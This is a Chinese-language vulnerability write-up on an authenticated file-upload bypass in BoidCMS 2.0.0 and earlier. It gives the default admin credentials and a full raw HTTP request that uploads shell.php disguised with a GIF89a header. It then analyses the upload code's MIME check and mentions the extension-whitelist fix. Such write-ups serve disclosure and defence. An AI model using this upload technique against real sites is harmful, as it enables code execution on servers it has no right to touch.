漏洞简介
BoidCMS是一个免费的开源平面文件 CMS,用于构建简单的网站和博客,使用 PHP 开发并使用 JSON 作为数据库。它的安装无需配置或安装任何关系数据库(如 MySQL)。您只需要一个支持PHP 的Web服务器。在 BoidCMS v.2.0.0 中存在一个安全漏洞,攻击者可以通过更改 MIME 标头来绕过上传文件的限制,并最终执行任意代码。这个漏洞可能导致严重的安全问题,因为攻击者可以上传恶意文件并在服务器上执行它们。
影响范围: BoidCMS <=2.0.0
官网地址
Simple, fast, super extensible - BoidCMS
项目下载地址
GitHub - BoidCMS/BoidCMS: Flat file CMS for building simple websites and blogs
漏洞复现
使用账号登录后台 登录url为/admin
admin:password
点击media 上传文件
POST /admin?page=media HTTP/1.1 Host: 192.168.116.128:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAdHS7v1pBwj2hFvh Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; TCSESSIONID=C535ABCCFF3BD453A9744400E7499A10; PHPSESSID=30296698223c1b44b6021dd0ce8ff70f Connection: close Content-Length: 478 ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream GIF89a <?php phpinfo() ?> ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; name="token" 38cde7eb88b52ab8ef98cfe140302b6b2d987c0e1dba398572426f6895bc58e0 ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; name="upload" Upload ------WebKitFormBoundaryAdHS7v1pBwj2hFvh--
访问php文件
漏洞分析
找到后端文件上传的函数
/**
* Upload media file
* @param ?string $msg
* @param ?string $basename
* @return bool
*/
public function upload_media( ?string &$msg = null, ?string &$basename = null ): bool {
if ( ! isset( $_FILES[ 'file' ][ 'error' ] ) || is_array( $_FILES[ 'file' ][ 'error' ] ) ) {
$msg = 'Invalid parameters';
return false;
}
switch ( $_FILES[ 'file' ][ 'error' ] ) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
$msg = 'No file has been sent';
return false;
break;
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
$msg = 'File too large';
return false;
break;
default:
$msg = 'An unexpected error occurred';
return false;
break;
}
$tmp_name = $_FILES[ 'file' ][ 'tmp_name' ];
$finfo = new finfo( FILEINFO_MIME_TYPE );
$type = $finfo->file( $tmp_name );
$types = $this->_l( 'media_mime',
array(
'application/json',
'application/octet-stream',
'application/ogg',
'application/pdf',
'application/photoshop',
'application/rar',
'application/svg+xml',
'application/vnd.ms-excel',
'application/vnd.ms-powerpoint',
'application/vnd.ms-word',
'application/vnd.oasis.opendocument.spreadsheet',
'application/vnd.oasis.opendocument.text',
'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/zip',
'audio/mp4',
'audio/mpeg',
'image/gif',
'image/jpeg',
'image/png',
'image/svg+xml',
'image/vnd.microsoft.icon',
'image/webp',
'image/x-icon',
'text/css',
'text/html',
'text/plain',
'text/x-asm',
'video/avi',
'video/mp4',
'video/mpeg',
'video/ogg',
'video/quicktime',
'video/webm',
'video/x-flv',
'video/x-matroska',
'video/x-ms-wmv'
)
);
if ( ! in_array( $type, $types ) ) {
$msg = 'File format not allowed';
return false;
}
$name = $this->esc_slug( $_FILES[ 'file' ][ 'name' ] );
$basename = basename( empty( $basename ) ? strip_tags( $name ) : $basename );
if ( move_uploaded_file( $tmp_name, $this->root( 'media/' . $basename ) ) ) {
$msg = sprintf( 'File <b>%s</b> has been uploaded successfully', $basename );
$this->get_action( 'upload_media', $basename );
return true;
}
$msg = 'Failed to move uploaded file';
return false;
}
$finfo->file($tmp_name)
这行代码使用了 PHP 中的 FileInfo 扩展(File Information),它提供了一种获取文件信息的方式,特别是文件的 MIME 类型。
具体来说,$finfo->file($tmp_name)
这行代码的作用是读取临时文件的内容并返回其 MIME 类型。
然而这存在漏洞,它是对比文件的前几个字节来确定文件的 MIME 类型。
若我们在shell.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制,实现木马上传。
后续修复
对扩展名加了白名单